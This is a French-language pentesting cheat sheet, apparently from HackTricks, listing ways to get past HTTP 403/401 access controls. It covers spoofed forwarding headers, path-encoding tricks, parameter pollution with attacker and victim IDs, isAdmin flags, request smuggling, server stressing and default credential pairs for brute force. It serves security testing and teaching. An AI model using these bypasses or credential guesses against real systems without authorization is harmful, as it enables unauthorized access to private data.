403 & 401 Bypasses

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

HTTP Verbs/Methods Fuzzing

Essayez d'utiliser différents verbes pour accéder au fichier : GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • VĂ©rifiez les en-tĂȘtes de rĂ©ponse, peut-ĂȘtre que certaines informations peuvent ĂȘtre fournies. Par exemple, une rĂ©ponse 200 Ă  HEAD avec Content-Length: 55 signifie que le verbe HEAD peut accĂ©der Ă  l'info. Mais vous devez encore trouver un moyen d'exfiltrer cette info.
  • Utiliser un en-tĂȘte HTTP comme X-HTTP-Method-Override: PUT peut Ă©craser le verbe utilisĂ©.
  • Utilisez le verbe TRACE et si vous avez de la chance, peut-ĂȘtre que dans la rĂ©ponse, vous pouvez Ă©galement voir les en-tĂȘtes ajoutĂ©s par des proxies intermĂ©diaires qui pourraient ĂȘtre utiles.

HTTP Headers Fuzzing

  • Changez l'en-tĂȘte Host Ă  une valeur arbitraire (qui a fonctionnĂ© ici)

  • Essayez de utiliser d'autres User Agents pour accĂ©der Ă  la ressource.

  • Fuzz HTTP Headers : Essayez d'utiliser les en-tĂȘtes HTTP, l'authentification HTTP de base et NTLM par brute-force (avec quelques combinaisons seulement) et d'autres techniques. Pour faire tout cela, j'ai crĂ©Ă© l'outil fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Si le chemin est protĂ©gĂ©, vous pouvez essayer de contourner la protection du chemin en utilisant ces autres en-tĂȘtes :

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Si la page est derriĂšre un proxy, peut-ĂȘtre que c'est le proxy qui vous empĂȘche d'accĂ©der aux informations privĂ©es. Essayez d'abuser de HTTP Request Smuggling ou des en-tĂȘtes hop-by-hop.

  • Fuzz des en-tĂȘtes HTTP spĂ©ciaux Ă  la recherche de diffĂ©rentes rĂ©ponses.

  • Fuzz des en-tĂȘtes HTTP spĂ©ciaux tout en fuzzant les mĂ©thodes HTTP.

  • Supprimez l'en-tĂȘte Host et peut-ĂȘtre que vous pourrez contourner la protection.

Path Fuzzing

Si /path est bloqué :

  • Essayez d'utiliser /%2e/path _(si l'accĂšs est bloquĂ© par un proxy, cela pourrait contourner la protection). Essayez aussi_** /%252e**/path (double encodage URL)
  • Essayez le bypass Unicode : /%ef%bc%8fpath (Les caractĂšres encodĂ©s en URL sont comme "/") donc lorsqu'ils sont rĂ©encodĂ©s, cela deviendra //path et peut-ĂȘtre que vous aurez dĂ©jĂ  contournĂ© la vĂ©rification du nom /path
  • Autres contournements de chemin :
  • site.com/secret –> HTTP 403 Forbidden
  • site.com/SECRET –> HTTP 200 OK
  • site.com/secret/ –> HTTP 200 OK
  • site.com/secret/. –> HTTP 200 OK
  • site.com//secret// –> HTTP 200 OK
  • site.com/./secret/.. –> HTTP 200 OK
  • site.com/;/secret –> HTTP 200 OK
  • site.com/.;/secret –> HTTP 200 OK
  • site.com//;//secret –> HTTP 200 OK
  • site.com/secret.json –> HTTP 200 OK (ruby)
  • Utilisez toute cette liste dans les situations suivantes :
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Autres contournements d'API :
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (Pollution de paramĂštres JSON)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Pollution de paramĂštres)

Parameter Manipulation

  • Changez la valeur du paramĂštre : De id=123 --> id=124
  • Ajoutez des paramĂštres supplĂ©mentaires Ă  l'URL : ?id=124 —-> id=124&isAdmin=true
  • Supprimez les paramĂštres
  • RĂ©organisez les paramĂštres
  • Utilisez des caractĂšres spĂ©ciaux.
  • Effectuez des tests de limites dans les paramĂštres — fournissez des valeurs comme -234 ou 0 ou 99999999 (juste quelques valeurs d'exemple).

Protocol version

Si vous utilisez HTTP/1.1 essayez d'utiliser 1.0 ou mĂȘme testez s'il supporte 2.0.

Other Bypasses

  • Obtenez l'IP ou le CNAME du domaine et essayez de le contacter directement.
  • Essayez de stresser le serveur en envoyant des requĂȘtes GET courantes (Cela a fonctionnĂ© pour ce gars avec Facebook).
  • Changez le protocole : de http Ă  https, ou de https Ă  http
  • Allez sur https://archive.org/web/ et vĂ©rifiez si dans le passĂ© ce fichier Ă©tait accessible dans le monde entier.

Brute Force

  • Devinez le mot de passe : Testez les identifiants courants suivants. Savez-vous quelque chose sur la victime ? Ou le nom du dĂ©fi CTF ?
  • Brute force: Essayez l'authentification de base, digest et NTLM.
Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Outils Automatiques

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks